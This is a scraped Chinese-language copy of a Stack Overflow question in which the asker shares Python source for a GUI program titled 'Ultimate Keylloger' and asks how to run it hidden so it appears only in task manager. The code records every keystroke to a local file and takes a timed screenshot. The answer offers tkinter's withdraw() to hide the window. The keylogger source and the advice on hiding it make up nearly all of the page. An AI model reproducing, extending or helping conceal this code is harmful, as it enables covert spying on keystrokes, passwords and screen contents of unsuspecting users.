gpt4 book ai didi

python - 如何在后台运行Python可执行文件?

转载 作者:太空宇宙 更新时间:2023-11-03 20:39:39 26 4
gpt4 key购买 nike

我有一个程序,它运行得很好当我按下“后台运行”按钮时,我需要在后台隐藏我的程序。但我不知道该怎么办。我应该使用哪个库?我该怎么办?

有办法隐藏我的可执行文件吗?所以我只能打开任务管理器才能看到谢谢你的帮助;)

ps:为什么我收到“看起来您的帖子主要是代码;请添加更多详细信息。”

from tkinter import *
from functools import partial
from pynput.keyboard import Listener
import threading
from PIL import ImageGrab
from random import randint

def grab():
c = randint(1,9999)
c = str(c)
ImageGrab.grab().save("Uk" + c +".jpg", "JPEG")

def on_press(key):
keyd=str(key)
keyd=keyd.replace("'", "")
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"_l": "",
"Key.ctrl": "",
"Key.shift": "",
"Key.capsock": "",
"Key.ctrl_l": "",
"Key.backspace": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}

for key in translate_keys:
keyd = keyd.replace(key, translate_keys[key])

print(keyd)
with open("Uk.docx", "a") as o:
o.write(keyd)

def start(arg):
def starting(args):
if args is 1:
lVar.set("Starting Listener")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
if args is 2:
lVar.set("Starting Listener .")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
if args is 3:
lVar.set("Starting Listener . .")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
if args is 4:
lVar.set("Starting Listener . . .")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
def running():
lbStatus["fg"] = "white"
lVar.set('[+] Listener Running')
lbStatus["bg"] = "green"
def not_original():
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
lVar.set("[!] Click Button Start ")
def err_running():
lbStatus["fg"] = "red"
lVar.set('[!] Already Running ')
lbStatus["bg"] = "black"
threading.Timer(1, running).start()
def err_notRunning():
lbStatus["fg"] = "red"
lbStatus["bg"] = "black"
lVar.set("[!] Not Running ")
threading.Timer(1, not_original).start()
def repeat():
threading.Timer(0.5,starting,[1]).start()
threading.Timer(1, starting,[2]).start()
threading.Timer(1.5, starting,[3]).start()
threading.Timer(2, starting,[4]).start()
global thr
if arg == btStart:
if thr is None:
#Start Listener
thr = Listener(on_press=on_press)
threading.Timer(0.1, repeat).start()
threading.Timer(2, repeat).start()
thr.start()
threading.Timer(5, running).start()
threading.Timer(50, grab).start()


else:
print("Ja rodando")
err_running()
if arg == btStop:
if thr is None:
print('Nao está rodando')
err_notRunning()
else:
print("Parando proteção")
threading.Timer(1, not_original).start()
thr.stop()
thr.join()
thr = None
def runInBackground():
pass

thr = None

#Controller
app = Tk()
#Estado
lVar = StringVar()
lbStatus = Label(app, textvariable= lVar , bg="blue", fg="white")
lbStatus.pack(side=BOTTOM, fill=X)
lVar.set("[!] Click Button Start")

#Button Start
btStart = Button(app, text="Start")
btStart.pack(side = TOP, fill=X)
btStart["command"] = partial(start, btStart)
#Button Stop
btStop = Button(app, text="Stop")
btStop.pack(side=TOP, fill=X)
btStop["command"] = partial(start, btStop)
#Button Backg
btBackground = Button(app, text="Run in Background", command=runInBackground)
btBackground.pack(side=TOP, fill=X)

#Window Configs
app.geometry("300x150+800+400")
app.title("Ultimate Keylloger")
app.maxsize(width= 300, height= 150)
app.minsize(width= 300, height= 150)
app.mainloop()

最佳答案

我猜你正在尝试什么,可以使用 withdraw() 来完成tkinter 中的 api。

app.withdraw() 将隐藏您的窗口,然后可以使用 app.deiconify()

返回 View

关于python - 如何在后台运行Python可执行文件?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/56938142/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com